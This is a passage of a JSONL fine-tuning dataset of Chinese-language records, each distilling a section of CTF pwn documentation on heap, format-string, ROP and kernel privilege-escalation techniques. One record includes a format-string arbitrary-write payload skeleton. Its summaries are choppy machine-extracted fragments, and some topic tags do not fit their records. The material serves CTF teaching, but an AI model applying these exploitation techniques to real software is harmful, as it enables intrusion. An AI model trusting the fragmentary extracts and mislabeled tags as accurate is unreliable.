仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 198, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "寻找危险函数", "heading_path": ["堆溢出", "小总结", "寻找危险函数"], "original_id": "docs-5987d5259d914b1fc334", "original_line": 966, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "source_root": "docs", "source_sha256": "27694f5f914660cc1e7899bfadda0c623bf5ec59d6a725b6533ecb08a2017e41", "split": "train", "split_group_key": "ed27fd27f510a7c22e26512d", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "pwn", "linux", "user-mode", "heap"], "title": "堆溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-511c62beb5f0118e4a13", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2017 0ctf babyheap > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``shell ➜ 2017_0ctf_babyheap git:(master) file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1...\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ 2017_0ctf_babyheap git:(master) file babyheap`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 532, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["Fastbin Attack", "2017 0ctf babyheap", "基本信息"], "original_id": "docs-6a10ff8ddc082adc37f6", "original_line": 935, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "2e3458b1254f7653da3274b3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-51b8f9ca72146d06498c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 64位程序格式化字符串漏洞 > 例子 > 分析程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- 可以发现，程序的漏洞很明显 ``C for ( j = 0;\n- puts(\"\\nBut that was totally wrong lol get rekt\");\n- = v5 ) { puts(\"You answered:\");\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:c\n\n代码/命令片段线索：\n- C: 13 行，首行 `for ( j = 0; j <= 21; ++j )`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 252, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析程序", "heading_path": ["例子", "64位程序格式化字符串漏洞", "例子", "分析程序"], "original_id": "docs-e005c3970a68c29ec7a4", "original_line": 856, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "7ade79a3924e927d37a5058a", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:c"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-520781b3cd9eb15acf1b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：花式栈溢出技巧 > stack pivoting > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- stack pivoting，正如它所描述的，该技巧就是劫持栈指针指向攻击者所能控制的内存处，然后再在相应的位置进行 ROP。\n- 一般来说，我们可能在以下情况需要使用 stack pivoting - 可以控制的栈溢出的字节数较少，难以构造较长的 ROP 链 - 开启了 PIE 保护，栈地址未知，我们可以将栈劫持到已知的区域。\n- 其它漏洞难以利用，我们需要进行转换，比如说将栈劫持到堆空间，从而在堆上写 rop 及进行堆漏洞利用 此外，利用 stack pivoting 有以下几个要求 - 可以控制程序执行流。\n- 一般来说，控制栈指针会使用 ROP，常见的控制栈指针的 gadgets 一般是 ``asm pop rsp/esp ` 当然，还会有一些其它的姿势。\n- 比如说 libc_csu_init 中的 gadgets，我们通过偏移就可以得到控制 rsp 指针。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:asm\n\n代码/命令片段线索：\n- asm: 1 行，首行 `pop rsp/esp`\n- asm: 14 行，首行 `gef➤ x/7i 0x000000000040061a`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1119, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["花式栈溢出技巧", "stack pivoting", "原理"], "original_id": "docs-40ed5e8580f819ae153d", "original_line": 1256, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "ea7d49a0d5ba41d527d7eaa3", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:asm"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-525a0418886331594d0c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md` 中的章节「直接定位」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md`\n标题：Change Self\n章节：Change Self > 直接改 cred > 定位具体位置 > 定位 > 直接定位\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“直接定位”展开。\n- 一个很直观的想法是在定位的过程中，利用 usage 不为 0 来筛除掉一些 cred，但仍然会发现一些 usage 为 0 的 cred。\n- / GID for VFS ops */ ... } `` 在实际定位的过程中，我们可能会发现很多满足要求的 cred，这主要是因为 cred 结构体可能会被拷贝、释放。\n- cred 结构体的最前面记录了各种 id 信息，对于一个普通的进程而言，uid-fsgid 都是执行进程的用户的身份。\n- ``c struct cred { atomic_t usage;\n- #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers;\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- aim\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `struct cred {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 841, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "直接定位", "heading_path": ["Change Self", "直接改 cred", "定位具体位置", "定位", "直接定位"], "original_id": "docs-9aeae63a96c2af9e0875", "original_line": 663, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "source_root": "docs", "source_sha256": "d1cfeb5ddd01e316391d6982c05f447b84f57f808d2581f0482d9ade31e9e252", "split": "train", "split_group_key": "f7f720372aaad224cc9a31b2", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "aim", "code:c"], "title": "Change Self"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-52d2fda322a0dbe83030", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「二、对象管理器与命名空间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > “一切皆对象” > 二、对象管理器与命名空间\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“二、对象管理器与命名空间”展开。\n- > 创建对象时可以通过 \"Global\\\" 前缀来将该对象创建于全局命名空间中，例如通过如下代码可以创建一个属于全局命名空间的事件对象： > > ``cpp > CreateEvent( NULL, FALSE, FALSE, \"Global\\\\ARTTNBA3\" );\n- > ` > > 也可以通过 “Local\\”` 前缀显式说明对象创建在会话命名空间中。\n- NT kernel 中所有的对象通过对象管理器（Object Manager）进行管理，用户态对任何对象的访问都需要通过对象管理子系统，对象管理器主要负责如下任务： - 管理对象的创建与销毁 - 维护对象命名空间数据库 - 追踪分配给进程的资源 - 追踪特定对象的访问权限 - 管理对象的生命周期 对象归属于不同的命名空间（Namespace），不同的用户会话（user session）便为不同的命名空间，对象创建时默认归属于当前会话的命名空间，此外还有一个全局共享的全局命名空间，从而使得对象可以在不同会话间进...\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n- code:cpp\n\n代码/命令片段线索：\n- cpp: 2 行，首行 `> CreateEvent( NULL, FALSE, FALSE, \"Global\\\\ARTTNBA3\" );`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 543, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "二、对象管理器与命名空间", "heading_path": ["基础知识", "“一切皆对象”", "二、对象管理器与命名空间"], "original_id": "docs-e8751b938d483c0613dc", "original_line": 80, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "cd870adc9e947b76bdf6dd6b", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge", "code:cpp"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-52fba3a75ebccc6ad605", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「覆盖大数字」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 覆盖内存 > 覆盖任意地址内存 > 覆盖大数字\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“覆盖大数字”展开。\n- ` 所以说，我们可以利用%hhn向某个地址写入单字节，利用%hn向某个地址写入双字节。\n- `` 当然，我们也可以利用%n分别对每个地址进行写入，也可以得到对应的答案，但是由于我们写入的变量都只会影响由其开始的四个字节，所以最后一个变量写完之后，我们可能会修改之后的三个字节，如果这三个字节比较重要的话，程序就有可能因此崩溃。\n- 首先，我们还是要确定的是要覆盖的地址为多少，利用ida看一下，可以发现地址为0x0804A028。\n- `text 0x0804A028 \\x78 0x0804A029 \\x56 0x0804A02a \\x34 0x0804A02b \\x12 ` 首先，由于我们的字符串的偏移为6，所以我们可以确定我们的payload基本是这个样子的 `text p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n' ` 我们可以依次进行计算。\n- DATA XREF: main:loc_8048510\u0018r ` 即我们希望将按照如下方式进行覆盖，前面为覆盖地址，后面为覆盖内容。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n- code:python\n\n代码/命令片段线索：\n- text: 2 行，首行 `hh 对于整数类型，printf期待一个从char提升的int尺寸的整型参数。`\n- text: 2 行，首行 `.data:0804A028 public b`\n- text: 4 行，首行 `0x0804A028 \\x78`\n- text: 1 行，首行 `p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2295, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "覆盖大数字", "heading_path": ["利用", "覆盖内存", "覆盖任意地址内存", "覆盖大数字"], "original_id": "docs-e4f8b43569091139a6ca", "original_line": 896, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "c502e9fcb5a5b73a24c34da8", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:text", "code:python"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-533f694785030a80c64a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「题目介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > 题目介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目介绍”展开。\n- ` Canary : No NX : Yes PIE : Yes Fortify : No RelRO : Full ` 程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息 ` struct book { int id;\n- Exit ` 程序提供了创建、删除、编辑、打印图书的功能。\n- 题目是一个常见的选单式程序，功能是一个图书管理系统。\n- Change current author name 6.\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 6 行，首行 `1. Create a book`\n- plain: 5 行，首行 `Canary : No`\n- plain: 7 行，首行 `struct book`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 365, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "题目介绍", "heading_path": ["堆中的 Off-By-One", "实例 1: Asis CTF 2016 b00ks", "题目介绍"], "original_id": "docs-ba53586cf5258f5137ef", "original_line": 1015, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "31c32dfb7faeb7daae3085a8", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-54129098a38c3f54f520", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel.md` 中的章节「编译内核」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel.md`\n标题：内核源码下载与编译\n章节：内核源码下载与编译 > 编译内核\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“编译内核”展开。\n- 接下来我们进行内核镜像的编译，我们通常要获得的是压缩后的内核镜像文件 bzImage ，因此我们在源码目录下使用如下命令进行编译： ``shell $ make bzImage ` 此外，我们可以根据当前机器的配置使用多个线程进行编译，-j 参数指定了同时进行编译的内核数量，(nproc) 变量则通常代表你所使用的机器所拥有的硬件线程数： `shell $ make -j(nproc) bzImage ` > 此外，你可以通过 CC= 来指定所使用的编译器，通过 LD= 来指定所使用的链接器，通过 LLVM=...\n- 最后，当终端出现如下信息时，说明编译完成： ` Kernel: arch/x86/boot/bzImage is ready (#1) ` 我们主要关注于编译产物中的两个文件： - vmlinux：编译生成的 ELF 格式的原始内核镜像文件，通常位于源码根目录下。\n- vmlinux.bin：也是静态链接的 Linux kernel，只是以一个可启动的 (bootable) 二进制文件存在。\n- 生成命令为：objcopy -O binary vmlinux vmlinux.bin`。\n- bzImage：前者进行压缩后的内核镜像文件，通常位于 arch/架构/boot/bzImage （注意对于 x86-64 而言仍是 x86 目录）。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `$ make bzImage`\n- shell: 1 行，首行 `$ make -j(nproc) bzImage`\n- plain: 1 行，首行 `Kernel: arch/x86/boot/bzImage is ready (#1)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1360, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "编译内核", "heading_path": ["内核源码下载与编译", "编译内核"], "original_id": "docs-9f4dfe198fadd9444121", "original_line": 703, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "source_root": "docs", "source_sha256": "1bbcde79aa748d30013efb917e145242ce3c67e4eca3b23d9c0bd9708af4af0f", "split": "train", "split_group_key": "56607491313d56211a703669", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "内核源码下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5413897532cb7c7bc083", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「delete_note」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`\n标题：Use After Free\n章节：Use After Free > 例子 > 功能分析 > delete_note\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“delete_note”展开。\n- 但是值得注意的是，在 删除的时候，只是单纯进行了free，而没有设置为NULL，那么显然，这里是存在Use After Free的情况的。\n- // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u);\n- if ( v1 < 0 || v1 >= count ) { puts(\"Out of bound!\n- } if ( notelist[v1] ) { free(notelist[v1]->content);\n- ``c unsigned int del_note() { int v1;\n\n关键术语：\n- UAF\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 22 行，首行 `unsigned int del_note()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 530, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "delete_note", "heading_path": ["Use After Free", "例子", "功能分析", "delete_note"], "original_id": "docs-3c6cb4d98651bb4d29db", "original_line": 1121, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "source_root": "docs", "source_sha256": "280ce3e15e835a91782f3994f9563b6399c11cb2ddc7b2393a90599906f09806", "split": "train", "split_group_key": "1f2261071bc2d977e4c4639e", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Use After Free"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-54eb8c98c6dd0fda5210", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「预备知识」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`\n标题：mips - ROP\n章节：mips - ROP > 预备知识\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“预备知识”展开。\n- 架构回顾见： https://ctf-wiki.github.io/ctf-wiki/assembly/mips/readme-zh/ 栈结构如图： [图片: img;\n- MIPS32架构中是没有EBP寄存器的，程序函数调用的时候是将当前栈指针向下移动 n 比特到该函数的 stack frame 存储组空间，函数返回的时候再加上偏移量恢复栈 2. 传参过程中，前四个参数$a0-$a3，多余的会保存在调用函数的预留的栈顶空间内 3.\n- 文件: https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/image001.gif] 有几个特殊的地方需要注意 1.\n- MIPS调用函数时会把函数的返回地址直接存入$RA 寄存器\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 330, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "预备知识", "heading_path": ["mips - ROP", "预备知识"], "original_id": "docs-a2ec4888a7ee11750f5e", "original_line": 1237, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "source_root": "docs", "source_sha256": "a60db714f9f9eeeed711316b4fed592f38bc0a546e6346e373edf68f83a6b81d", "split": "train", "split_group_key": "2f4e13b8b9ad4065b961e19f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "mips - ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "split": "train", "type": "ctf_lora_sft"}
